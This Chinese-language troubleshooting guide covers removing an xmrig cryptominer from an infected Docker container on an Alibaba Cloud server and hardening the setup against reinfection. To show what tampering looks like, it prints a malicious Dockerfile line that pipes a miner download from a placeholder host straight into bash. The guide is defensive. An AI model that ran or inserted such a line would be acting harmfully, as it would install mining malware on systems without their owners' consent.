解決:阿里云服務器docker容器被植入挖礦程序
- **1. 緊急處理:停止挖礦進程**
- **(1)查找并終止 `xmrig` 進程**
- **(2)刪除惡意文件**
- **2. 清理被感染的容器**
- **(1)停止并刪除容器**
- **(2)檢查鏡像是否被污染**
- **3. 防護措施:防止再次被入侵**
- **(1)使用最小化鏡像**
- **(2)限制容器資源**
- **(3)禁止容器內運行可疑進程**
- **(4)監控容器行為**
- **(5)避免暴露 Docker API**
- **4. 排查入侵來源**
- **(1)檢查 Docker 日志**
- **(2)檢查宿主機是否被入侵**
- **(3)檢查 Dockerfile 是否被篡改**
- **5. 總結**
如果發現 Docker 容器內自動啟動 xmrig
挖礦程序,說明你的容器可能被入侵(通常是由于 鏡像被篡改 或 容器內運行了惡意腳本)。以下是 排查、清理和防護措施:
1. 緊急處理:停止挖礦進程
(1)查找并終止 xmrig
進程
# 進入容器
docker exec -it <容器名或ID> /bin/bash# 查找挖礦進程(xmrig、minerd、cpuminer等)
ps aux | grep -E "xmrig|minerd|cpuminer"# 強制終止進程(替換PID)
kill -9 <PID># 如果進程自動重啟,檢查定時任務或守護進程
crontab -l # 查看定時任務
ls -la /etc/cron.* # 檢查cron目錄
find / -name "*xmrig*" # 查找挖礦程序路徑
(2)刪除惡意文件
# 刪除挖礦程序和相關文件
rm -rf /tmp/xmrig /var/tmp/.cache/xmrig# 檢查容器內是否有異常啟動腳本
find / -name "*.sh" | xargs grep "xmrig" # 檢查腳本是否包含xmrig
2. 清理被感染的容器
(1)停止并刪除容器
docker stop <容器名或ID>
docker rm <容器名或ID>
(2)檢查鏡像是否被污染
# 查看所有鏡像
docker images# 如果鏡像來源不可信,刪除并重新拉取
docker rmi <惡意鏡像名>
3. 防護措施:防止再次被入侵
(1)使用最小化鏡像
- 避免使用
latest
標簽,選擇官方受信任的鏡像(如alpine
、debian-slim
)。 - 示例:
FROM alpine:3.18 RUN apk add --no-cache bash
(2)限制容器資源
在 docker run
時限制 CPU 和內存,防止挖礦程序耗盡資源:
docker run --cpus 1 --memory 512m -d <鏡像名>
(3)禁止容器內運行可疑進程
使用 Seccomp 或 AppArmor 限制容器權限:
# 使用默認的Seccomp配置文件(限制危險系統調用)
docker run --security-opt seccomp=default.json -d <鏡像名>
(4)監控容器行為
- 使用
docker stats
檢查異常 CPU/內存占用:docker stats
- 使用
Falco
或Sysdig
監控容器行為:falco -r /etc/falco/falco_rules.yaml
(5)避免暴露 Docker API
- 禁止遠程訪問 Docker API(默認端口
2375
):# 修改 /etc/docker/daemon.json {"hosts": ["unix:///var/run/docker.sock"] }
- 啟用 TLS 認證(防止未授權訪問)。
4. 排查入侵來源
(1)檢查 Docker 日志
journalctl -u docker | grep "error\|warning"
(2)檢查宿主機是否被入侵
- 查看異常進程:
top -c
- 檢查 SSH 登錄記錄:
grep "Accepted" /var/log/auth.log
(3)檢查 Dockerfile 是否被篡改
如果使用自定義鏡像,檢查 Dockerfile
是否包含惡意命令:
# 惡意示例(可能隱藏在RUN命令中)
RUN curl -sL https://malicious.site/xmrig | bash
5. 總結
步驟 | 命令/操作 |
---|---|
終止挖礦進程 | kill -9 <PID> ,刪除 /tmp/xmrig |
清理容器 | docker stop + docker rm ,檢查鏡像是否安全 |
限制資源 | docker run --cpus 1 --memory 512m |
監控容器 | docker stats ,Falco |
加固 Docker | 關閉 2375 端口,使用 Seccomp /AppArmor |
建議:
- 定期更新 Docker 和鏡像,避免使用來源不明的鏡像。
- 使用
Trivy
掃描鏡像漏洞:trivy image <鏡像名>
- 啟用 Docker 日志審計,記錄所有容器操作。
如果問題仍然存在,可能需要 全面檢查宿主機 或 重建 Docker 環境。